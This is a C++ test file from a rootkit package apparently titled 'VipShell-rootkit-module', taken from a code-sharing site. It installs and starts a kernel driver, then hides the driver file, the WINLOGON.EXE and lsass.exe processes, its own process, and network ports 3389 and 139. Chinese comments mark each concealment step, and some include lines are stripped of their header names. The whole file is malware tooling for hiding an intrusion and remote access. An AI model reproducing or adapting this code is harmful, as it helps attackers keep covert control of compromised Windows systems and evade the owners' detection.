www.pudn.com > VipShell-rootkit-module.rar > WinTest.cpp
#include "PinboardInterface.h" #include#include #include #pragma comment (lib, "Psapi.lib") DWORD GetProcessIdByName(LPCTSTR szName) { DWORD dwRet = 0; HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); PROCESSENTRY32 pe32; pe32.dwSize = sizeof( PROCESSENTRY32 ); Process32First( hSnapshot, &pe32 ); do { if ( _tcsicmp(pe32.szExeFile, szName) == 0) { dwRet = pe32.th32ProcessID; break; } } while ( Process32Next( hSnapshot, &pe32 ) ); CloseHandle( hSnapshot ); return dwRet; } void main() { CPinboardPtr spRootKitModule = CreatePinboardInstance(RootKitModule); spRootKitModule->Test(); //测试接口 spRootKitModule->CreateDriver("c:\\__ZHF__ROORKIT.SYS", "ZfjRootkit"); spRootKitModule->StartDriver(); //启动驱动 spRootKitModule->AddHideFile("__ZHF__roorkit.SYS"); //隐藏这个文件 spRootKitModule->AddHideProcessId( GetProcessIdByName("WINLOGON.EXE")); //隐藏WINLOGON.EXE 进程 spRootKitModule->AddHideProcessId( GetProcessIdByName("lsass.EXE")); //隐藏lass.EXE 进程 spRootKitModule->AddHideProcessId( GetCurrentProcessId() ); //隐藏自己的 进程 spRootKitModule->AddHidePort(3389); //隐藏3389 spRootKitModule->AddHidePort(139); //隐藏139 spRootKitModule->StartHideFile(); //开始隐藏文件 spRootKitModule->StartHidePort(); //开始隐port spRootKitModule->StartHideProcess(); //隐藏进程 }